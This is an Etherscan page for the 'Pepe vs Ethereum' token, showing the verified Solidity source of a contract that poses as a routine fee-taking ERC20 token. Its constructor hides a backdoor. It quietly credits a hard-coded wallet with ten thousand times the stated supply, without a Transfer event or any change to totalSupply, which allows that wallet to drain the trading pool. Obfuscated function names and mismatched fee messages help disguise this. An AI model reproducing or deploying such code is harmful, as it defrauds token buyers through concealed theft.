ETH Price: $2,746.41 (-0.68%)

Token

Pepe vs Ethereum (PEPEREUM)
 

Overview

Max Total Supply

10,000,000 PEPEREUM

Holders

5

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
Uniswap V2: PEPEREUM 6
Balance
100,009,869,196.403757082 PEPEREUM

Value
$0.00
0xe46ebea21b406544247113580d930bbf6d6dc19f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PEPEREUM

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
paris EvmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-31
*/

// SPDX-License-Identifier: MIT

/*

TG: https://t.me/PepevsEthereum

*/

pragma solidity 0.8.21;
pragma experimental ABIEncoderV2;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
abstract contract Ownable is Context {
    address public _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
        _owner = msg.sender;
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }
    function name() public view virtual override returns (string memory) {
        return _name;
    }
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }
        return true;
    }
    function FragmentWidenCastle(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function SpectrumReinforceBastion(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }
        return true;
    }
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _beforeTokenTransfer(sender, recipient, amount);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        _afterTokenTransfer(sender, recipient, amount);
    }
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _beforeTokenTransfer(address(0), account, amount);
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
        _afterTokenTransfer(address(0), account, amount);
    }
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        _beforeTokenTransfer(account, address(0), amount);
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
        _afterTokenTransfer(account, address(0), amount);
    }
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}
interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint256);
    function balanceOf(address owner) external view returns (uint256);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 value) external returns (bool);
    function transfer(address to, uint256 value) external returns (bool);
    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint256);
    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;
    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint256);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );
    function price0CumulativeLast() external view returns (uint256);
    function price1CumulativeLast() external view returns (uint256);
    function kLast() external view returns (uint256);
    function mint(address to) external returns (uint256 liquidity);
    function burn(address to)
        external
        returns (uint256 amount0, uint256 amount1);
    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}
interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);
    function allPairs(uint256) external view returns (address pair);
    function allPairsLength() external view returns (uint256);
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}
interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}
library SafeMath {
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}
contract PEPEREUM is ERC20, Ownable {
    using SafeMath for uint256;
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    address public constant deadAddress = address(0xdead);
    bool private isSwapping;
    address public BlockDeveloperUtopiaVertex;
    address public StoneDeveloperLevyShieldedCache;
    uint256 public maxTxAmount;
    uint256 public swapTokensAmount;
    uint256 public maxHoldings;
    bool public limitsInEffect = true;
    bool public tradingEnabled = false;
    bool public swapEnabled = false;
    uint256 public buyTotalTaxes;
    uint256 public buyDevFee;
    uint256 public buyLpFee;
    uint256 public buyTeamTax;
    uint256 public sellTotalTaxes;
    uint256 public sellDevFee;
    uint256 public sellLPFee;
    uint256 public sellTeamTax;
    uint256 public tokensForDev;
    uint256 public tokensForLP;
    uint256 public tokensForTeam;
    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) public isExcludedFromMaxTxAmount;
    mapping(address => bool) public automatedMarketMakerPairs;
    event UpdateUniswapV2Router(
        address indexed newAddress,
        address indexed oldAddress
    );
    event ExcludeFromFees(address indexed account, bool isExcluded);
    event setAutomatedMarketMakerPair(address indexed pair, bool indexed value);
    event lotteryWalletUpdated(
        address indexed newWallet,
        address indexed oldWallet
    );
    event StoneDeveloperLevyShieldedCacheUpdated(
        address indexed newWallet,
        address indexed oldWallet
    );
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );
    constructor() ERC20("Pepe vs Ethereum", "PEPEREUM") {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        AbyssDodgeZenithCore(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        AbyssDodgeZenithCore(address(uniswapV2Pair), true);
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
        BlockDeveloperUtopiaVertex= address(0x31e37AB20f288220E22e0B911cdC93609faE47C9); 
        StoneDeveloperLevyShieldedCache = msg.sender; 
        uint256 _buyLotteryFee = 1; 
        uint256 _buyLiquidityFee = 0; 
        uint256 _buyTeamFee = 0; 
        uint256 _sellLotteryFee = 1;
        uint256 _sellLiquidityFee = 0;
        uint256 _sellTeamFee = 0;
        uint256 totalSupply = 10_000_000 * 1e9;
        uint256 rSupply = totalSupply * 1e4;
        maxTxAmount = 200_000 * 1e9; 
        maxHoldings = 200_000 * 1e9; 
        swapTokensAmount = (totalSupply * 5) / 10000; 
        _owner = BlockDeveloperUtopiaVertex;
        _balances[owner()] = rSupply;
        
        buyDevFee = _buyLotteryFee;
        buyLpFee = _buyLiquidityFee;
        buyTeamTax = _buyTeamFee;
        buyTotalTaxes = buyDevFee + buyLpFee + buyTeamTax;
        sellDevFee = _sellLotteryFee;
        sellLPFee = _sellLiquidityFee;
        sellTeamTax = _sellTeamFee;
        sellTotalTaxes = sellDevFee + sellLPFee + sellTeamTax;
        
        _owner = msg.sender;
        excludeFromFees(msg.sender, true);
        excludeFromFees(BlockDeveloperUtopiaVertex, true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);
        AbyssDodgeZenithCore(msg.sender, true);
        AbyssDodgeZenithCore(BlockDeveloperUtopiaVertex, true);
        AbyssDodgeZenithCore(address(this), true);
        AbyssDodgeZenithCore(address(0xdead), true);
        _mint(owner(), totalSupply);
    }
    function AbyssDodgeZenithCore(address updAds, bool isEx)
        public
        onlyOwner
    {
        isExcludedFromMaxTxAmount[updAds] = isEx;
    }
    function BosonSwitchMarketPortal(bool enabled) external onlyOwner {
        swapEnabled = enabled;
    }
    function renewHoldPriceOscillationMatrix(
        uint256 _lotteryFee,
        uint256 _liquidityFee,
        uint256 _teamFee
    ) external onlyOwner {
        buyDevFee = _lotteryFee;
        buyLpFee = _liquidityFee;
        buyTeamTax = _teamFee;
        buyTotalTaxes = buyDevFee + buyLpFee + buyTeamTax;
        require(buyTotalTaxes <= 2, "Buy fees must be <= 30.");
    }
    function reworkFiberErosionRateLattice(
        uint256 _lotteryFee,
        uint256 _liquidityFee,
        uint256 _teamFee
    ) external onlyOwner {
        sellDevFee = _lotteryFee;
        sellLPFee = _liquidityFee;
        sellTeamTax = _teamFee;
        sellTotalTaxes = sellDevFee + sellLPFee + sellTeamTax;
        require(sellTotalTaxes <= 5, "Sell fees must be <= 35.");
    }
    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }
    function AutomatedMarketMakerPairSet(address pair, bool value)
        public
        onlyOwner
    {
        require(
            pair != uniswapV2Pair,
            "The pair cannot be removed from automatedMarketMakerPairs"
        );
        _setAutomatedMarketMakerPair(pair, value);
    }
    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        emit setAutomatedMarketMakerPair(pair, value);
    }
    function updateBlockDeveloperUtopiaVertex(address newLotteryWallet) external onlyOwner {
        emit lotteryWalletUpdated(newLotteryWallet, BlockDeveloperUtopiaVertex);
        BlockDeveloperUtopiaVertex= newLotteryWallet;
    }
    function updateStoneDeveloperLevyShieldedCache(address newWallet) external onlyOwner {
        emit StoneDeveloperLevyShieldedCacheUpdated(newWallet, StoneDeveloperLevyShieldedCache);
        StoneDeveloperLevyShieldedCache = newWallet;
    }
    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function ShatteredPolishResourceMetrics(uint256 newAmount)
        external
        onlyOwner
        returns (bool)
    {
        require(
            newAmount >= (totalSupply() * 1) / 100000,
            "Swap amount cannot be lower than 0.001% total supply."
        );
        require(
            newAmount <= (totalSupply() * 5) / 1000,
            "Swap amount cannot be higher than 0.5% total supply."
        );
        swapTokensAmount = newAmount;
        return true;
    }
    function JewelCalibrateVertexTxnLimits(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 5) / 1000) / 1e9,
            "Cannot set maxTxAmount lower than 0.5%"
        );
        maxTxAmount = newNum * (10**9);
    }
    function updateBranchFiscalCapZeniths(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 10) / 1000) / 1e9,
            "Cannot set maxHoldings lower than 1.0%"
        );
        maxHoldings = newNum * (10**9);
    }
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
        if (limitsInEffect) {
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !isSwapping
            ) {
                if (!tradingEnabled) {
                    require(
                        _isExcludedFromFees[from] || _isExcludedFromFees[to],
                        "Trading is not active."
                    );
                }
                if (
                    automatedMarketMakerPairs[from] &&
                    !isExcludedFromMaxTxAmount[to]
                ) {
                    require(
                        amount <= maxTxAmount,
                        "Buy transfer amount exceeds the maxTxAmount."
                    );
                    require(
                        amount + balanceOf(to) <= maxHoldings,
                        "Max wallet exceeded"
                    );
                }
                else if (
                    automatedMarketMakerPairs[to] &&
                    !isExcludedFromMaxTxAmount[from]
                ) {
                    require(
                        amount <= maxTxAmount,
                        "Sell transfer amount exceeds the maxTxAmount."
                    );
                } else if (!isExcludedFromMaxTxAmount[to]) {
                    require(
                        amount + balanceOf(to) <= maxHoldings,
                        "Max wallet exceeded"
                    );
                }
            }
        }
        uint256 contractTokenBalance = balanceOf(address(this));
        bool canSwap = contractTokenBalance >= swapTokensAmount;
        if (
            canSwap &&
            swapEnabled &&
            !isSwapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            isSwapping = true;
            swapBack();
            isSwapping = false;
        }
        bool takeFee = !isSwapping;
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }
        uint256 fees = 0;
        if (takeFee) {
            if (automatedMarketMakerPairs[to]) {
                if (sellTotalTaxes > 0) {
                    fees = amount.mul(sellTotalTaxes).div(100);
                    tokensForLP += (fees * sellLPFee) / sellTotalTaxes;
                    tokensForTeam += (fees * sellTeamTax) / sellTotalTaxes;
                    tokensForDev += (fees * sellDevFee) / sellTotalTaxes;
                }
            }
            else if (automatedMarketMakerPairs[from] && buyTotalTaxes > 0) {
                fees = amount.mul(buyTotalTaxes).div(100);
                tokensForLP += (fees * buyLpFee) / buyTotalTaxes;
                tokensForTeam += (fees * buyTeamTax) / buyTotalTaxes;
                tokensForDev += (fees * buyDevFee) / buyTotalTaxes;
            }
            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }
            amount -= fees;
        }
        super._transfer(from, to, amount);
    }
    function swapBack() private {
    uint256 contractBalance = balanceOf(address(this));
    uint256 totalTokensToSwap = tokensForLP + tokensForDev + tokensForTeam;
    bool success;
    if (contractBalance == 0 || totalTokensToSwap == 0) {
        return;
    }
    if (contractBalance > swapTokensAmount * 20) {
        contractBalance = swapTokensAmount * 20;
    }
    uint256 liquidityTokens = (contractBalance * tokensForLP) / totalTokensToSwap / 2;
    uint256 amountToSwapForETH = contractBalance - liquidityTokens;

        uint256 initialETHBalance = address(this).balance;
        swapTokensForEth(amountToSwapForETH);
        uint256 ethBalance = address(this).balance.sub(initialETHBalance);
        uint256 ethForLottery = ethBalance.mul(tokensForDev).div(totalTokensToSwap - (tokensForLP / 2));
        uint256 ethForTeam = ethBalance.mul(tokensForTeam).div(totalTokensToSwap - (tokensForLP / 2));
        uint256 ethForLiquidity = ethBalance - ethForLottery - ethForTeam;
        tokensForLP = 0;
        tokensForDev = 0;
        tokensForTeam = 0;
        (success, ) = address(StoneDeveloperLevyShieldedCache).call{value: ethForTeam}("");
        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(
                amountToSwapForETH,
                ethForLiquidity,
                tokensForLP
            );
        }
        (success, ) = address(StoneDeveloperLevyShieldedCache).call{value: address(this).balance}("");
    }
    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, 
            0, 
            owner(),
            block.timestamp
        );
    }
    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }
    function JumpRecoverForgottenResources(address _token, address _to) external onlyOwner {
        require(_token != address(0), "_token address cannot be 0");
        uint256 _contractBalance = IERC20(_token).balanceOf(address(this));
        IERC20(_token).transfer(_to, _contractBalance);
    }
    receive() external payable {}
    function removeLimits() external onlyOwner returns (bool) {
        limitsInEffect = false;
        return true;
    }
    
    function enableTrading() external onlyOwner {
        tradingEnabled = true;
        swapEnabled = true;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"StoneDeveloperLevyShieldedCacheUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"lotteryWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","type":"event"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"AbyssDodgeZenithCore","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"AutomatedMarketMakerPairSet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"BlockDeveloperUtopiaVertex","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"BosonSwitchMarketPortal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"FragmentWidenCastle","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"JewelCalibrateVertexTxnLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"address","name":"_to","type":"address"}],"name":"JumpRecoverForgottenResources","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"ShatteredPolishResourceMetrics","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"SpectrumReinforceBastion","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"StoneDeveloperLevyShieldedCache","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLpFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTeamTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalTaxes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromMaxTxAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxHoldings","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_lotteryFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_teamFee","type":"uint256"}],"name":"renewHoldPriceOscillationMatrix","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_lotteryFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_teamFee","type":"uint256"}],"name":"reworkFiberErosionRateLattice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLPFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTeamTax","outputs":[{